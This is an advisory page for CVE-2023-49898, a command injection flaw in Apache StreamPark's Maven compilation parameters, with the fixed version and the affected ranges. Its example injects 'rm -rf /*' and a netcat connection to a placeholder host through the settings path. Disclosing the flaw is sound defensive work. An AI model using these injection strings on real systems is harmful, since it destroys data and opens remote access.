CVE-2023-49898
Description
In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
How to fix
- apache streampark2.1.2 or later
- org.apache.streampark:streampark2.1.2 or later
Affected products
| Product | Affected versions | Fixed in |
|---|---|---|
| apache streampark | 2.0.0 ≤ v < 2.1.2 | 2.1.2 |
| org.apache.streampark:streamparkMaven | 2.0.0 ≤ v < 2.1.2 | 2.1.2 |
Check your version
Choose the product and enter the version you run to see whether it falls in the affected range.
Attack Surface Management
See the assets tied to your domains, the technologies they run and known vulnerabilities in one list.